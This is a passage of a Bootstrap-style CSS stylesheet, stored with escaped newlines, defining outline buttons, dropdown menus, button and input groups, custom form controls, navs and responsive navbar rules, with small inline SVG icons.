#17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-info.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-warning {\n  color: #ffc107;\n  background-color: transparent;\n  background-image: none;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:hover {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:focus, .btn-outline-warning.focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-warning.disabled, .btn-outline-warning:disabled {\n  color: #ffc107;\n  background-color: transparent;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active,\n.show > .btn-outline-warning.dropdown-toggle {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-warning.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-danger {\n  color: #dc3545;\n  background-color: transparent;\n  background-image: none;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:hover {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:focus, .btn-outline-danger.focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-danger.disabled, .btn-outline-danger:disabled {\n  color: #dc3545;\n  background-color: transparent;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active,\n.show > .btn-outline-danger.dropdown-toggle {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-danger.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-light {\n  color: #f8f9fa;\n  background-color: transparent;\n  background-image: none;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:hover {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:focus, .btn-outline-light.focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-light.disabled, .btn-outline-light:disabled {\n  color: #f8f9fa;\n  background-color: transparent;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active,\n.show > .btn-outline-light.dropdown-toggle {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-light.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-dark {\n  color: #343a40;\n  background-color: transparent;\n  background-image: none;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:hover {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:focus, .btn-outline-dark.focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-dark.disabled, .btn-outline-dark:disabled {\n  color: #343a40;\n  background-color: transparent;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active,\n.show > .btn-outline-dark.dropdown-toggle {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-dark.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-link {\n  font-weight: 400;\n  color: #007bff;\n  background-color: transparent;\n}\n\n.btn-link:hover {\n  color: #0056b3;\n  text-decoration: underline;\n  background-color: transparent;\n  border-color: transparent;\n}\n\n.btn-link:focus, .btn-link.focus {\n  text-decoration: underline;\n  border-color: transparent;\n  box-shadow: none;\n}\n\n.btn-link:disabled, .btn-link.disabled {\n  color: #6c757d;\n  pointer-events: none;\n}\n\n.btn-lg, .btn-group-lg > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n  border-radius: 0.3rem;\n}\n\n.btn-sm, .btn-group-sm > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  border-radius: 0.2rem;\n}\n\n.btn-block {\n  display: block;\n  width: 100%;\n}\n\n.btn-block + .btn-block {\n  margin-top: 0.5rem;\n}\n\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n\n.fade {\n  transition: opacity 0.15s linear;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .fade {\n    transition: none;\n  }\n}\n\n.fade:not(.show) {\n  opacity: 0;\n}\n\n.collapse:not(.show) {\n  display: none;\n}\n\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  transition: height 0.35s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .collapsing {\n    transition: none;\n  }\n}\n\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n  position: relative;\n}\n\n.dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid;\n  border-right: 0.3em solid transparent;\n  border-bottom: 0;\n  border-left: 0.3em solid transparent;\n}\n\n.dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 10rem;\n  padding: 0.5rem 0;\n  margin: 0.125rem 0 0;\n  font-size: 1rem;\n  color: #212529;\n  text-align: left;\n  list-style: none;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 0.25rem;\n}\n\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n\n.dropup .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-top: 0;\n  margin-bottom: 0.125rem;\n}\n\n.dropup .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0;\n  border-right: 0.3em solid transparent;\n  border-bottom: 0.3em solid;\n  border-left: 0.3em solid transparent;\n}\n\n.dropup .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropright .dropdown-menu {\n  top: 0;\n  right: auto;\n  left: 100%;\n  margin-top: 0;\n  margin-left: 0.125rem;\n}\n\n.dropright .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid transparent;\n  border-right: 0;\n  border-bottom: 0.3em solid transparent;\n  border-left: 0.3em solid;\n}\n\n.dropright .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropright .dropdown-toggle::after {\n  vertical-align: 0;\n}\n\n.dropleft .dropdown-menu {\n  top: 0;\n  right: 100%;\n  left: auto;\n  margin-top: 0;\n  margin-right: 0.125rem;\n}\n\n.dropleft .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n}\n\n.dropleft .dropdown-toggle::after {\n  display: none;\n}\n\n.dropleft .dropdown-toggle::before {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-right: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid transparent;\n  border-right: 0.3em solid;\n  border-bottom: 0.3em solid transparent;\n}\n\n.dropleft .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropleft .dropdown-toggle::before {\n  vertical-align: 0;\n}\n\n.dropdown-menu[x-placement^=\"top\"], .dropdown-menu[x-placement^=\"right\"], .dropdown-menu[x-placement^=\"bottom\"], .dropdown-menu[x-placement^=\"left\"] {\n  right: auto;\n  bottom: auto;\n}\n\n.dropdown-divider {\n  height: 0;\n  margin: 0.5rem 0;\n  overflow: hidden;\n  border-top: 1px solid #e9ecef;\n}\n\n.dropdown-item {\n  display: block;\n  width: 100%;\n  padding: 0.25rem 1.5rem;\n  clear: both;\n  font-weight: 400;\n  color: #212529;\n  text-align: inherit;\n  white-space: nowrap;\n  background-color: transparent;\n  border: 0;\n}\n\n.dropdown-item:hover, .dropdown-item:focus {\n  color: #16181b;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.dropdown-item.active, .dropdown-item:active {\n  color: #fff;\n  text-decoration: none;\n  background-color: #007bff;\n}\n\n.dropdown-item.disabled, .dropdown-item:disabled {\n  color: #6c757d;\n  background-color: transparent;\n}\n\n.dropdown-menu.show {\n  display: block;\n}\n\n.dropdown-header {\n  display: block;\n  padding: 0.5rem 1.5rem;\n  margin-bottom: 0;\n  font-size: 0.875rem;\n  color: #6c757d;\n  white-space: nowrap;\n}\n\n.dropdown-item-text {\n  display: block;\n  padding: 0.25rem 1.5rem;\n  color: #212529;\n}\n\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-flex;\n  vertical-align: middle;\n}\n\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  flex: 0 1 auto;\n}\n\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover {\n  z-index: 1;\n}\n\n.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active,\n.btn-group-vertical > .btn:focus,\n.btn-group-vertical > .btn:active,\n.btn-group-vertical > .btn.active {\n  z-index: 1;\n}\n\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group,\n.btn-group-vertical .btn + .btn,\n.btn-group-vertical .btn + .btn-group,\n.btn-group-vertical .btn-group + .btn,\n.btn-group-vertical .btn-group + .btn-group {\n  margin-left: -1px;\n}\n\n.btn-toolbar {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: flex-start;\n}\n\n.btn-toolbar .input-group {\n  width: auto;\n}\n\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n\n.btn-group > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn:not(:first-child),\n.btn-group > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.dropdown-toggle-split {\n  padding-right: 0.5625rem;\n  padding-left: 0.5625rem;\n}\n\n.dropdown-toggle-split::after,\n.dropup .dropdown-toggle-split::after,\n.dropright .dropdown-toggle-split::after {\n  margin-left: 0;\n}\n\n.dropleft .dropdown-toggle-split::before {\n  margin-right: 0;\n}\n\n.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split {\n  padding-right: 0.375rem;\n  padding-left: 0.375rem;\n}\n\n.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split {\n  padding-right: 0.75rem;\n  padding-left: 0.75rem;\n}\n\n.btn-group-vertical {\n  flex-direction: column;\n  align-items: flex-start;\n  justify-content: center;\n}\n\n.btn-group-vertical .btn,\n.btn-group-vertical .btn-group {\n  width: 100%;\n}\n\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n\n.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group-vertical > .btn-group:not(:last-child) > .btn {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn:not(:first-child),\n.btn-group-vertical > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.btn-group-toggle > .btn,\n.btn-group-toggle > .btn-group > .btn {\n  margin-bottom: 0;\n}\n\n.btn-group-toggle > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn input[type=\"checkbox\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"checkbox\"] {\n  position: absolute;\n  clip: rect(0, 0, 0, 0);\n  pointer-events: none;\n}\n\n.input-group {\n  position: relative;\n  display: flex;\n  flex-wrap: wrap;\n  align-items: stretch;\n  width: 100%;\n}\n\n.input-group > .form-control,\n.input-group > .custom-select,\n.input-group > .custom-file {\n  position: relative;\n  flex: 1 1 auto;\n  width: 1%;\n  margin-bottom: 0;\n}\n\n.input-group > .form-control:focus,\n.input-group > .custom-select:focus,\n.input-group > .custom-file:focus {\n  z-index: 3;\n}\n\n.input-group > .form-control + .form-control,\n.input-group > .form-control + .custom-select,\n.input-group > .form-control + .custom-file,\n.input-group > .custom-select + .form-control,\n.input-group > .custom-select + .custom-select,\n.input-group > .custom-select + .custom-file,\n.input-group > .custom-file + .form-control,\n.input-group > .custom-file + .custom-select,\n.input-group > .custom-file + .custom-file {\n  margin-left: -1px;\n}\n\n.input-group > .form-control:not(:last-child),\n.input-group > .custom-select:not(:last-child) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .form-control:not(:first-child),\n.input-group > .custom-select:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.input-group > .custom-file {\n  display: flex;\n  align-items: center;\n}\n\n.input-group > .custom-file:not(:last-child) .custom-file-label,\n.input-group > .custom-file:not(:last-child) .custom-file-label::after {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .custom-file:not(:first-child) .custom-file-label,\n.input-group > .custom-file:not(:first-child) .custom-file-label::after {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.input-group-prepend,\n.input-group-append {\n  display: flex;\n}\n\n.input-group-prepend .btn,\n.input-group-append .btn {\n  position: relative;\n  z-index: 2;\n}\n\n.input-group-prepend .btn + .btn,\n.input-group-prepend .btn + .input-group-text,\n.input-group-prepend .input-group-text + .input-group-text,\n.input-group-prepend .input-group-text + .btn,\n.input-group-append .btn + .btn,\n.input-group-append .btn + .input-group-text,\n.input-group-append .input-group-text + .input-group-text,\n.input-group-append .input-group-text + .btn {\n  margin-left: -1px;\n}\n\n.input-group-prepend {\n  margin-right: -1px;\n}\n\n.input-group-append {\n  margin-left: -1px;\n}\n\n.input-group-text {\n  display: flex;\n  align-items: center;\n  padding: 0.375rem 0.75rem;\n  margin-bottom: 0;\n  font-size: 1rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #495057;\n  text-align: center;\n  white-space: nowrap;\n  background-color: #e9ecef;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n}\n\n.input-group-text input[type=\"radio\"],\n.input-group-text input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.custom-control {\n  position: relative;\n  display: block;\n  min-height: 1.5rem;\n  padding-left: 1.5rem;\n}\n\n.custom-control-inline {\n  display: inline-flex;\n  margin-right: 1rem;\n}\n\n.custom-control-input {\n  position: absolute;\n  z-index: -1;\n  opacity: 0;\n}\n\n.custom-control-input:checked ~ .custom-control-label::before {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.custom-control-input:focus ~ .custom-control-label::before {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-control-input:active ~ .custom-control-label::before {\n  color: #fff;\n  background-color: #b3d7ff;\n}\n\n.custom-control-input:disabled ~ .custom-control-label {\n  color: #6c757d;\n}\n\n.custom-control-input:disabled ~ .custom-control-label::before {\n  background-color: #e9ecef;\n}\n\n.custom-control-label {\n  margin-bottom: 0;\n}\n\n.custom-control-label::before {\n  position: absolute;\n  top: 0.25rem;\n  left: 0;\n  display: block;\n  width: 1rem;\n  height: 1rem;\n  pointer-events: none;\n  content: \"\";\n  user-select: none;\n  background-color: #dee2e6;\n}\n\n.custom-control-label::after {\n  position: absolute;\n  top: 0.25rem;\n  left: 0;\n  display: block;\n  width: 1rem;\n  height: 1rem;\n  content: \"\";\n  background-repeat: no-repeat;\n  background-position: center center;\n  background-size: 50% 50%;\n}\n\n.custom-checkbox .custom-control-label::before {\n  border-radius: 0.25rem;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before {\n  background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before {\n  background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before {\n  background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before {\n  background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-radio .custom-control-label::before {\n  border-radius: 50%;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::before {\n  background-color: #007bff;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E\");\n}\n\n.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before {\n  background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-select {\n  display: inline-block;\n  width: 100%;\n  height: calc(2.25rem + 2px);\n  padding: 0.375rem 1.75rem 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  vertical-align: middle;\n  background: #fff url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\") no-repeat right 0.75rem center;\n  background-size: 8px 10px;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n  appearance: none;\n}\n\n.custom-select:focus {\n  border-color: #80bdff;\n  outline: 0;\n  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(128, 189, 255, 0.5);\n}\n\n.custom-select:focus::-ms-value {\n  color: #495057;\n  background-color: #fff;\n}\n\n.custom-select[multiple], .custom-select[size]:not([size=\"1\"]) {\n  height: auto;\n  padding-right: 0.75rem;\n  background-image: none;\n}\n\n.custom-select:disabled {\n  color: #6c757d;\n  background-color: #e9ecef;\n}\n\n.custom-select::-ms-expand {\n  opacity: 0;\n}\n\n.custom-select-sm {\n  height: calc(1.8125rem + 2px);\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  font-size: 75%;\n}\n\n.custom-select-lg {\n  height: calc(2.875rem + 2px);\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  font-size: 125%;\n}\n\n.custom-file {\n  position: relative;\n  display: inline-block;\n  width: 100%;\n  height: calc(2.25rem + 2px);\n  margin-bottom: 0;\n}\n\n.custom-file-input {\n  position: relative;\n  z-index: 2;\n  width: 100%;\n  height: calc(2.25rem + 2px);\n  margin: 0;\n  opacity: 0;\n}\n\n.custom-file-input:focus ~ .custom-file-label {\n  border-color: #80bdff;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-file-input:focus ~ .custom-file-label::after {\n  border-color: #80bdff;\n}\n\n.custom-file-input:lang(en) ~ .custom-file-label::after {\n  content: \"Browse\";\n}\n\n.custom-file-label {\n  position: absolute;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1;\n  height: calc(2.25rem + 2px);\n  padding: 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  background-color: #fff;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n}\n\n.custom-file-label::after {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  z-index: 3;\n  display: block;\n  height: calc(calc(2.25rem + 2px) - 1px * 2);\n  padding: 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  content: \"Browse\";\n  background-color: #e9ecef;\n  border-left: 1px solid #ced4da;\n  border-radius: 0 0.25rem 0.25rem 0;\n}\n\n.custom-range {\n  width: 100%;\n  padding-left: 0;\n  background-color: transparent;\n  appearance: none;\n}\n\n.custom-range:focus {\n  outline: none;\n}\n\n.custom-range::-moz-focus-outer {\n  border: 0;\n}\n\n.custom-range::-webkit-slider-thumb {\n  width: 1rem;\n  height: 1rem;\n  margin-top: -0.25rem;\n  background-color: #007bff;\n  border: 0;\n  border-radius: 1rem;\n  appearance: none;\n}\n\n.custom-range::-webkit-slider-thumb:focus {\n  outline: none;\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-webkit-slider-thumb:active {\n  background-color: #b3d7ff;\n}\n\n.custom-range::-webkit-slider-runnable-track {\n  width: 100%;\n  height: 0.5rem;\n  color: transparent;\n  cursor: pointer;\n  background-color: #dee2e6;\n  border-color: transparent;\n  border-radius: 1rem;\n}\n\n.custom-range::-moz-range-thumb {\n  width: 1rem;\n  height: 1rem;\n  background-color: #007bff;\n  border: 0;\n  border-radius: 1rem;\n  appearance: none;\n}\n\n.custom-range::-moz-range-thumb:focus {\n  outline: none;\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-moz-range-thumb:active {\n  background-color: #b3d7ff;\n}\n\n.custom-range::-moz-range-track {\n  width: 100%;\n  height: 0.5rem;\n  color: transparent;\n  cursor: pointer;\n  background-color: #dee2e6;\n  border-color: transparent;\n  border-radius: 1rem;\n}\n\n.custom-range::-ms-thumb {\n  width: 1rem;\n  height: 1rem;\n  background-color: #007bff;\n  border: 0;\n  border-radius: 1rem;\n  appearance: none;\n}\n\n.custom-range::-ms-thumb:focus {\n  outline: none;\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-ms-thumb:active {\n  background-color: #b3d7ff;\n}\n\n.custom-range::-ms-track {\n  width: 100%;\n  height: 0.5rem;\n  color: transparent;\n  cursor: pointer;\n  background-color: transparent;\n  border-color: transparent;\n  border-width: 0.5rem;\n}\n\n.custom-range::-ms-fill-lower {\n  background-color: #dee2e6;\n  border-radius: 1rem;\n}\n\n.custom-range::-ms-fill-upper {\n  margin-right: 15px;\n  background-color: #dee2e6;\n  border-radius: 1rem;\n}\n\n.nav {\n  display: flex;\n  flex-wrap: wrap;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.nav-link {\n  display: block;\n  padding: 0.5rem 1rem;\n}\n\n.nav-link:hover, .nav-link:focus {\n  text-decoration: none;\n}\n\n.nav-link.disabled {\n  color: #6c757d;\n}\n\n.nav-tabs {\n  border-bottom: 1px solid #dee2e6;\n}\n\n.nav-tabs .nav-item {\n  margin-bottom: -1px;\n}\n\n.nav-tabs .nav-link {\n  border: 1px solid transparent;\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus {\n  border-color: #e9ecef #e9ecef #dee2e6;\n}\n\n.nav-tabs .nav-link.disabled {\n  color: #6c757d;\n  background-color: transparent;\n  border-color: transparent;\n}\n\n.nav-tabs .nav-link.active,\n.nav-tabs .nav-item.show .nav-link {\n  color: #495057;\n  background-color: #fff;\n  border-color: #dee2e6 #dee2e6 #fff;\n}\n\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.nav-pills .nav-link {\n  border-radius: 0.25rem;\n}\n\n.nav-pills .nav-link.active,\n.nav-pills .show > .nav-link {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.nav-fill .nav-item {\n  flex: 1 1 auto;\n  text-align: center;\n}\n\n.nav-justified .nav-item {\n  flex-basis: 0;\n  flex-grow: 1;\n  text-align: center;\n}\n\n.tab-content > .tab-pane {\n  display: none;\n}\n\n.tab-content > .active {\n  display: block;\n}\n\n.navbar {\n  position: relative;\n  display: flex;\n  flex-wrap: wrap;\n  align-items: center;\n  justify-content: space-between;\n  padding: 0.5rem 1rem;\n}\n\n.navbar > .container,\n.navbar > .container-fluid {\n  display: flex;\n  flex-wrap: wrap;\n  align-items: center;\n  justify-content: space-between;\n}\n\n.navbar-brand {\n  display: inline-block;\n  padding-top: 0.3125rem;\n  padding-bottom: 0.3125rem;\n  margin-right: 1rem;\n  font-size: 1.25rem;\n  line-height: inherit;\n  white-space: nowrap;\n}\n\n.navbar-brand:hover, .navbar-brand:focus {\n  text-decoration: none;\n}\n\n.navbar-nav {\n  display: flex;\n  flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.navbar-nav .nav-link {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-nav .dropdown-menu {\n  position: static;\n  float: none;\n}\n\n.navbar-text {\n  display: inline-block;\n  padding-top: 0.5rem;\n  padding-bottom: 0.5rem;\n}\n\n.navbar-collapse {\n  flex-basis: 100%;\n  flex-grow: 1;\n  align-items: center;\n}\n\n.navbar-toggler {\n  padding: 0.25rem 0.75rem;\n  font-size: 1.25rem;\n  line-height: 1;\n  background-color: transparent;\n  border: 1px solid transparent;\n  border-radius: 0.25rem;\n}\n\n.navbar-toggler:hover, .navbar-toggler:focus {\n  text-decoration: none;\n}\n\n.navbar-toggler:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.navbar-toggler-icon {\n  display: inline-block;\n  width: 1.5em;\n  height: 1.5em;\n  vertical-align: middle;\n  content: \"\";\n  background: no-repeat center center;\n  background-size: 100% 100%;\n}\n\n@media (max-width: 575.98px) {\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 576px) {\n  .navbar-expand-sm {\n    flex-flow: row nowrap;\n    justify-content: flex-start;\n  }\n  .navbar-expand-sm .navbar-nav {\n    flex-direction: row;\n  }\n  .navbar-expand-sm .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-sm .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-sm .navbar-collapse {\n    display: flex !important;\n    flex-basis: auto;\n  }\n  .navbar-expand-sm .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 767.98px) {\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 768px) {\n  .navbar-expand-md {\n    flex-flow: row nowrap;\n    justify-content: flex-start;\n  }\n  .navbar-expand-md .navbar-nav {\n    flex-direction: row;\n  }\n  .navbar-expand-md .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-md .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-md .navbar-collapse {\n    display: flex !important;\n    flex-basis: auto;\n  }\n  .navbar-expand-md .navbar-toggler {\n    display: 